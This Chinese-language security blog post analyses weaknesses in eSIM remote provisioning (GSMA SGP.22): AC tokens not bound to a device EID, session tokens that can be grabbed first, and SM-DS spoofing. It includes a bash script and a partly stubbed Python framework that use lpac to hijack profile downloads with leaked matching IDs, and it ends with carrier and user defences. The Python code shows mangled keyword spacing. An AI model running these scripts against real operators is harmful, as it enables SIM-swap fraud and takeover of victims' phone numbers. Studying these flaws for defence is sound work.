Aug 06 2026 Off 摘要 eSIM 通过 GSMA SGP.22 规范定义的 RSP 平台实现远程配置文件下载,其安全性依赖于 SM-DP+ 服务器与 eUICC 之间的端到端 TLS 通道以及一次性会话令牌。然而,该协议在会话令牌绑定、推送通知验证和用户确认三个环节存在结构性缺陷:部分运营商实现的 AC Token 未绑定目标设备的 EID,推送通知中的路径信息可被明文嗅探,且 SM-DS 的地址解析缺乏强制证书验证。攻击者可利用这些缺陷,劫持合法用户的配置文件下载会话,在攻击者控制的设备上复制目标配置文件,从而实施 SIM 交换欺诈——无需接触受害者设备或发起社会工程攻击。 eSIM RSP 平台 eSIM 生态的关键角色GSMA SGP.22 定义的 RSP 消费者解决方案包含四个核心实体:eUICC:嵌入式通用集成电路卡,即 eSIM 芯片,可存储多个运营商配置文件。LPA:本地配置文件助手,运行在终端设备上,负责与 SM-DP+ 通信、下载和安装配置文件。SM-DP+:订阅管理数据准备+,运营商侧服务器,负责生成、加密和下发配置文件。SM-DS:订阅管理发现服务器,可选的中间代理,帮助设备发现待下载的配置文件。一次完整的 OTA 下载流程如下:运营商准备好配置文件,向用户发送 AC Token 或推送通知。设备上的 LPA 通过 AC Token 或扫描 QR 码获取 SM-DP+ 地址和匹配 ID,与 SM-DP+ 建立 TLS 连接,完成双向认证后下载并安装配置文件。两层加密与四种证书配置文件在传输过程中使用两层加密:外层 TLS 保护传输通道,内层 SCP03t 保护配置文件内容。证书体系包含:CI 证书:GSMA 根证书,用于验证 eUICC 和 SM-DP+ 身份。EUM 证书:eUICC 制造商证书,证明 eUICC 身份。SM-DP+ 证书:运营商服务器证书,用于 TLS 认证。TLS 服务器证书:SM-DP+ 的 TLS 证书。在认证阶段,SM-DP+ 通过 eUICC 的 EUM 证书链验证 eUICC 真实性,eUICC 通过 CI 根证书验证 SM-DP+ 合法性。这一双向认证机制理论上可防止中间人攻击。会话建立的关键令牌AC Token 是用户获得下载权限的凭证,通常以 QR 码形式呈现,包含以下关键信息: LPA:1$<SM-DP+_ADDRESS>$<MATCHING_ID> 或更完整的形式: LPA:1$<SM-DP+_ADDRESS>$<MATCHING_ID>$<CONFIRMATION_CODE_REQUIRED_FLAG>$<EID>$<TOKEN> 其中 MATCHING_ID 是配置文件的唯一标识,SM-DP+_ADDRESS 是服务器地址。部分运营商还会在 Token 中直接绑定目标设备的 EID。设备连接到 SM-DP+ 后,服务器根据匹配 ID 定位对应的配置文件,并建立加密下载会话。 会话劫持的攻击面 未绑定 EID 的 AC Token许多运营商的 AC Token 不包含 EID 绑定字段。这意味着任何获得该 Token 的设备都可以尝试下载对应的配置文件。攻击者获取 AC Token 的途径包括:钓鱼攻击:诱导用户扫描攻击者控制的 QR 码,其中嵌入的 AC Token 指向攻击者设备。推送通知嗅探:部分运营商通过推送通知发送 AC Token,该通知可能被恶意应用捕获。后台窃取:手机上已安装的恶意应用读取用户的短信或通知栏,提取 AC Token 并转发给攻击者。一旦攻击者持有未绑定 EID 的 AC Token,即可在另一台设备上使用 lpac 等开源 LPA 工具,指定目标 SM-DP+ 地址和匹配 ID,直接发起配置文件下载请求。会话令牌的无绑定缺陷即使 AC Token 包含了 EID,在设备连接 SM-DP+ 时,服务器会生成一个会话令牌(Session Token)或事务 ID,用于后续下载。在部分实现中,这个会话令牌仅与匹配 ID 关联,而与 EID 或设备证书无关。 攻击者可以在合法用户开始下载前,抢先使用相同的匹配 ID 建立连接,获取会话令牌,然后自行完成下载。服务器在颁发配置文件后将该匹配 ID 标记为已使用,导致合法用户的下载失败,而攻击者已成功获得配置文件。SM-DS 的中间人攻击与降级SM-DS 的地址解析流程中,设备通过 DNS 查询 SM-DS 地址,再通过 HTTPS 请求获取待下载配置文件列表。如果攻击者能够实施 DNS 劫持或 ARP 欺骗,可以将 SM-DS 的域名解析到攻击者控制的伪 SM-DS 服务器。伪 SM-DS 向设备返回攻击者准备的匹配 ID 和 SM-DP+ 地址,诱导设备连接到攻击者的伪 SM-DP+,从而在整个下载过程中处于攻击者的完全控制之下。此外,部分终端在 TLS 握手时未严格验证 SM-DP+ 证书的完整证书链,或未检查证书吊销状态,攻击者可利用过期或泄露的合法证书伪造 SM-DP+ 身份。 利用 lpac 劫持配置文件下载 环境准备lpac 是一个开源 LPA 实现,支持与 SM-DP+ 通信并下载配置文件。攻击者需要:一台支持 eSIM 的设备:用于安装劫持的配置文件(或使用 lpac 的 download 命令仅获取配置文件包)。目标 AC Token 信息:SM-DP+ 地址和匹配 ID,可通过前述方法获取。lpac 工具:从 GitHub 编译安装。 git clone https://github.com/estkme-group/lpac.git cd lpac cmake . && make 劫持会话并下载配置文件 #!/bin/bash # esim_hijack.sh — 利用泄露的匹配ID劫持eSIM配置文件 SMDP_ADDR="smdp.example.com" MATCHING_ID="ABCD1234-5678-EFGH-IJKL-MNOPQRSTUVWX" CONFIRMATION_CODE=""# 如果需要确认码,填写;否则留空 # 使用 lpac 下载配置文件 # chip 参数指定 eUICC 接口,此处以 PCSC 读卡器为例 ./lpac profile download \ --chip pcsc \ --smdp "$SMDP_ADDR" \ --matching-id "$MATCHING_ID" \ --confirm-code "$CONFIRMATION_CODE" if [ $? -eq 0 ]; then echo"[+] 配置文件下载成功。" else echo"[-] 下载失败,匹配ID可能已被使用或无效。" fi 说明:此脚本利用 lpac 与 SM-DP+ 通信,使用泄露的匹配 ID 请求下载配置文件。如果服务器未绑定 EID,且该匹配 ID 尚未被使用,攻击者将成功获取配置文件包(BPP 文件),随后可安装到自己的 eSIM 中。自动化嗅探与劫持框架 #!/usr/bin/env python3 # esim_sniffer.py — 自动化嗅探 AC Token 并触发劫持 # 这段代码写的太好了,太!太!太!正! import asyncio import aiohttp import re from bleak import BleakScanner # 模拟通过 BLE 扫描附近的 LPA 广播 asyncdefscan_lpa(): scanner = BleakScanner() asyncwith scanner as s: await asyncio.sleep(5) for d in s.discovered_devices: # 检查是否有 eSIM 相关服务 if d.name and"eSIM"in d.name: print(f"[+] 发现 eSIM 设备: {d.address}") # 监听推送通知中的 AC Token asyncdeflisten_push(): # 此处为伪代码,实际需配合移动端恶意应用 pass # 自动调用 lpac 劫持 asyncdefhijack(smdp, matching_id): cmd = f"./lpac profile download --chip pcsc --smdp {smdp} --matching-id {matching_id}" proc = await asyncio.create_subprocess_shell(cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) stdout, stderr = await proc.communicate() if proc.returncode == 0: print(f"[!] 成功劫持配置文件: {matching_id}") else: print(f"[-] 劫持失败: {matching_id}") asyncdefmain(): await asyncio.gather(scan_lpa(), listen_push()) if __name__ == "__main__": asyncio.run(main()) 说明:此自动化框架结合 BLE 扫描、推送通知监听和 lpac 调用,实现从发现目标到完成劫持的全流程自动化。实际攻击中,攻击者会将此脚本部署在可移动设备(如 Raspberry Pi)上,靠近目标区域(如运营商营业厅、机场)运行。 检测与防御 运营商侧加固强制 AC Token 绑定 EID:在 AC Token 中包含目标设备的 EID,SM-DP+ 在下载前必须验证请求设备的 EID 与 Token 中的 EID 一致。这一措施可从根本上防止跨设备劫持。会话令牌与设备证书绑定:在 SM-DP+ 建立下载会话时,将会话令牌与 eUICC 的设备证书公钥绑定,后续下载请求必须使用对应的私钥签名,防止会话被重放或转移。推送通知加密与随机化:对推送通知中的路径信息进行加密,并加入时间戳和随机数,防止被嗅探后重复使用。SM-DS 证书强制验证:设备在连接 SM-DS 时应进行完整的证书链验证,并对 SM-DS 返回的 SM-DP+ 地址进行白名单或证书交叉验证,防止伪造的 SM-DP+ 被注入。用户侧防护保护 AC Token QR 码:不要将 eSIM 激活 QR 码分享给不可信的第三方,使用后立即丢弃或妥善保管。及时安装配置文件:收到 AC Token 后尽快完成下载安装,缩短被劫持的时间窗口。监控 eSIM 状态:定期检查设备的 eSIM 配置文件列表,发现未知配置文件立即联系运营商。使用物理 eUICC 的安全特性:对于支持 eUICC 锁定功能的设备,启用 PIN 码保护,防止未授权操作。协议改进建议引入下载确认的带外验证:用户在手机上发起下载后,运营商通过独立的通道(如短信、App 推送)发送一次性确认码,且该确认码与当前下载会话绑定,输入后方可完成下载。这可以防止攻击者在用户不知情的情况下劫持会话。强制执行 EID 白名单:SM-DP+ 维护每个配置文件的允许 EID 列表(在订阅时由用户或运营商预设),拒绝任何不在白名单中的设备下载请求。 结语 eSIM 的远程配置能力为用户带来了前所未有的便利,却也悄然将 SIM 卡安全从物理接触的壁垒推向了网络空间的博弈场。SGP.22 协议的安全层级足够坚固——双向 TLS 与 SCP03t 加密提供了理论上的强防护,但当 AC Token 不绑定 EID、会话令牌可被抢占、SM-DS 的地址解析未强制证书验证时,这些裂缝便构成了从合法用户手中越权转移配置文件的完整攻击链。运营商需要认识到,eSIM 的便利性必须以同等强度的身份绑定为代价;而用户则应明白,那个看似无害的 QR 码,可能就是通往自己电话号码的唯一钥匙。在 eSIM 全面取代实体 SIM 的前夜,修补这些协议实现上的缺陷,比研发下一代加密算法更加紧迫。 Post navigation Previous PostPrevious Matter 智能家居的分布式信任崩溃Next PostNext DNSSEC 密钥标签碰撞